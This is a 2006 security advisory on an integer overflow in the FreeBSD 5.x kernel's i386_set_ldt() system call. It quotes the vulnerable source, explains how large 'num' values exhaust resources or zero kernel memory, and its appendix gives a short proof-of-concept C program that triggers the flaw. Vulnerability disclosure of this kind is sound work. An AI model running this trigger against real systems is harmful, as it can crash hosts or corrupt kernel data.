There exists a vulnerability within a architecture dependent function of the FreeBSD kernel (FreeBSD 5.2-RELEASE through FreeBSD 5.5-RELEASE), which when properly exploited can lead to local compromise of the vulnerable system. This vulnerability was fixed in FreeBSD 6.0-RELEASE, but production (legacy) releases 5.2 through 5.5 are still vulnerable.
47ee00f36252f1652b78dad10fe001b7ca99781759d2b3060edd166609c2d021
RISE-2006002
FreeBSD 5.x kernel i386_set_ldt() integer overflow vulnerability
Released: September 23, 2006
Last updated: September 23, 2006
INTRODUCTION
There exists a vulnerability within a architecture dependent function of the
FreeBSD kernel (FreeBSD 5.2-RELEASE through FreeBSD 5.5-RELEASE), which when
properly exploited can lead to local compromise of the vulnerable system.
This vulnerability was fixed in FreeBSD 6.0-RELEASE, but production (legacy)
releases 5.2 through 5.5 are still vulnerable.
DETAILS
The i386_set_ldt() system call will set a list of i386 descriptors for the
current process in its LDT. It accepts a starting selector number (start),an
array of memory that will contain the descriptors to be set (descs), and the
number of entries to set (num).
This vulnerability can be triggered by calling the i386_set_ldt() system call,
(available to user through sysarch() system call), with the start argument set
to a low integer value, descs set to a value different than null and num set to
a high unsigned integer value, resulting in an integer overflow in largest_ld
and descs_size (lines 533 and 540), which will result in the consumption of all
available operating system resources (line 541).
This vulnerability can be also triggered by setting the start argument to a low
integer value, descs set to null and num set to a high unsigned integer value,
resulting in an integer overflow in largest_ld (line 515), which will result in
in the erase of operating system sensitive data (lines 519 and 520).
This is part of the vulnerable function from FreeBSD 5.5-RELEASE.
476 static int
477 i386_set_ldt(td, args)
478 struct thread *td;
479 char *args;
480 {
481 int error = 0, i;
482 int largest_ld;
483 struct mdproc *mdp = &td->td_proc->p_md;
484 struct proc_ldt *pldt = 0;
485 struct i386_ldt_args ua, *uap = &ua;
486 union descriptor *descs, *dp;
487 int descs_size;
488
489 if ((error = copyin(args, uap, sizeof(struct i386_ldt_args))) < 0)
490 return(error);
491
492 #ifdef DEBUG
493 printf("i386_set_ldt: start=%d num=%d descs=%p\n",
494 uap->start, uap->num, (void *)uap->descs);
495 #endif
496
497 if (uap->descs == NULL) {
498 /* Free descriptors */
499 if (uap->start == 0 && uap->num == 0) {
500 /*
501 * Treat this as a special case, so userland needn't
502 * know magic number NLDT.
503 */
504 uap->start = NLDT;
505 uap->num = MAX_LD - NLDT;
506 }
507 if (uap->start <= LUDATA_SEL || uap->num <= 0)
508 return (EINVAL);
509 mtx_lock_spin(&sched_lock);
510 pldt = mdp->md_ldt;
511 if (pldt == NULL || uap->start >= pldt->ldt_len) {
512 mtx_unlock_spin(&sched_lock);
513 return (0);
514 }
515 largest_ld = uap->start + uap->num;
516 if (largest_ld > pldt->ldt_len)
517 largest_ld = pldt->ldt_len;
518 i = largest_ld - uap->start;
519 bzero(&((union descriptor *)(pldt->ldt_base))[uap->start],
520 sizeof(union descriptor) * i);
521 mtx_unlock_spin(&sched_lock);
522 return (0);
523 }
524
525 if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) {
526 /* complain a for a while if using old methods */
527 if (ldt_warnings++ < NUM_LDT_WARNINGS) {
528 printf("Warning: pid %d used static ldt allocation.\n",
529 td->td_proc->p_pid);
530 printf("See the i386_set_ldt man page for more info\n");
531 }
532 /* verify range of descriptors to modify */
533 largest_ld = uap->start + uap->num;
534 if (uap->start >= MAX_LD ||
535 uap->num < 0 || largest_ld > MAX_LD) {
536 return (EINVAL);
537 }
538 }
539
540 descs_size = uap->num * sizeof(union descriptor);
541 descs = (union descriptor *)kmem_alloc(kernel_map, descs_size);
542 if (descs == NULL)
543 return (ENOMEM);
544 error = copyin(uap->descs, descs, descs_size);
545 if (error) {
546 kmem_free(kernel_map, (vm_offset_t)descs, descs_size);
547 return (error);
548 }
549
A little proof of concept code that triggers this vulnerability can be found
in appendix section of this document.
VENDOR
Vendor was notified, as this is not a critical vulnerability, proper corrections
should be available soon.
CREDITS
This vulnerability was discovered by Adriano Lima <adriano@risesecurity.org>,
further research by Rodrigo Rubira Branco <rodrigo@risesecurity.org>.
DISCLAIMER
The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any information
provided, including any kind of information which is incomplete or incorrect,
will therefore be rejected.
APPENDIX
bsd-x86-ldt.c
#include <stdio.h>
#include <stdlib.h>
#include <machine/segments.h>
#include <machine/sysarch.h>
int main(int argc,char **argv){
if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){
perror("i386_set_ldt");
exit(EXIT_FAILURE);
}
exit(EXIT_FAILURE);
}